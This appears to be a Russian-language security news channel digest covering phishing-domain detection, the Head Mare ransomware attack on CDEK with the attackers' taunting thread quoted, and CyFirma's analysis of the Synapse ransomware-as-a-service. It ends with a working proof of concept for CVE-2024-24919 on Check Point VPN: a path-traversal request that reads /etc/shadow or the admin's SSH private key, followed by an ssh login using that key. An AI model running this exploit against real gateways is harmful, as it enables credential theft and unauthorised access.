↔️ Обнаружение Фишинга

Чтобы обнаружить попытку фишинга, важно понять методы фишинга, которые используются в настоящее время.

Этот пост основан на идее, что злоумышленники попытаются каким-то образом имитировать или использовать доменное имя жертвы.

🤠 Если ваш домен называется example.com, и вы фишифуете, используя совершенно другое доменное имя по какой-то причине, например youwonthelottery.com, эти методы не раскроют его.

Легко раскрыть те попытки фишинга, которые будут использовать аналогичное доменное имя внутри электронной почты. Достаточно создать список наиболее вероятных фишинговых имен, которые может использовать злоумышленник, и проверить, зарегистрирован ли он, или просто проверить, есть ли какой-либо IP-адрес, использующий его.

↘️ Hacktricks

💙Записки Безопасника

СДЭК взломали хакеры — сервис не работает уже третий день.

Они использовали вирус-шифровальщик и лишили компанию базы данных.

Тред хакера:
https://x.com/head_mare/status/1795072931489345946

1/7 Хэд Марэ не дала времени #СДЭК на то, чтобы защитить себя. Сисадмины оказались слишком слабы. А политики безопасности не оправдали себя. #СДЭК продолжает нести знамя худшей доставки по России, обгоняя даже почту рф

2/7 Настройка и бекапирование корпоративных систем - дело неблагородное. «Что случилось с бекапами»? - Спрашивают консультанты по безопасности.- «Они пропали». - Отвечает им Хэд Марэ. Криворукие админы на маленькой зп делали бекап раз в полгода.

3/7 Шифровальщик крутится, данныемутятся. У #СДЭК серверов нет, но вы держитесь! Решения ваших бед не существует, даже не пытайтесь.

4/7 Клиенты #СДЭК не жалуйтесь. Посылки отменяются на неопределенное время. Проверьте ваш регион в перечне сбоев.

5/7 Убытки рассчитывать -это для господ. Все о ваших посылках – в надежных руках!

6/7 Дорогим консультантам с #BiZone отдельный привет. Ваш софт бесполезен, ваши безопасникипраздно шатаются на конференции #PHdays. Хэд Марэ любит тех, кто доверился Вам!

7/7 П.С. Alles, скажи "Да" неизвестному добряку с Дикси!

Исследователи CyFirma обнаружили на RAMP новую RaaS Synapse, реализуемую на хакерских форумах с февраля 2024 года как одну из самых быстрых на сегодняшний день ransomware.

Одна из основных замеченных особенностей вредоносного ПО - это выполнение проверки часового пояса и языка системы, приводящая к завершению работы, если обнаружено, что какая-либо из них базируется в Иране.

Кроме того, Synapse шифрует данные телеметрии перед отправкой их на сервер C2 с использованием специального алгоритма с примечательной входной строкой: “Chuong Dong looks like <REDACTED>!!”

Та же строка используется в методологии шифрования семейства Babuk Ransomware.

Учитывая утечку исходников Babuk Ransomware в 2021 году, налицо все признаки того, что владельцы Synapse использовали функциональные возможности его кода или вообще могли быть связи с его разработчиками.

Анализ показывает, что SynapseCrypter позаимствовал множество функций и у Lambda Ransomware, связанной с группой VoidCrypt.

Изученная стабильная версия Synapse 1.0.0 представляет новый мощный штамм программы-вымогателя с расширенными функциями, с C2, сборщиком полезной нагрузки и системой чата на базе TOR.

Ransomware предотвращает повреждение файлов, использует схемы быстрого шифрования и предлагает гибкие режимы, включая пользовательские параметры.

Помимо упомянутых функций, SynapseCrypter может похвастаться дополнительными возможностями.

Он включает в себя функции сетевого сканирования и возможность репликации на сетевых устройствах с использованием жестко запрограммированных учетных данных, хранящихся в его конфигурации.

SynapseCrypter использует поиск NTFS для просмотра файлов и CHACHA8 для их шифрования, проверяет наличие файлов и папок в белом списке перед шифрованием, поддерживает очистку теневых копий и самоудаление.

После шифрования Synapse производит переименование файлов, изменение обоев и значков, а также удаление данных.

В отличие от некоторых других программ-вымогателей, Synapse не задействует сайт утечки данных. Вместо этого его операторы взаимодействуют с жертвами через TOR для переговоров о выкупе.

Ресерчеры отмечают, что появление Synapse RaaS подчеркивает динамично меняющийся ландшафт угроз ransomware, где новая ransomware с его избирательным подходом к шифрованию и заимствованными функциями у других штаммов представляет серьезную угрозу.

CVE-2024-24919
*
Check Point Remote Access VPN 0-Day
*
FOFA link
*
POC:
POST /clients/MyCRL HTTP/1.1
Host: <redacted>
Content-Length: 39

aCSHELL/../../../../../../../etc/shadow

#0day #checkpoint

CVE-2024-24919 Check Point Remote Access VPN 0-Day
Ну или так 👌
aCSHELL/../../../../../../../
home/admin/.ssh/id_rsa
*
ssh admin@Хостъ -i id_rsa

#shitPointVPN #0Day

Закрыли сеть вредоносов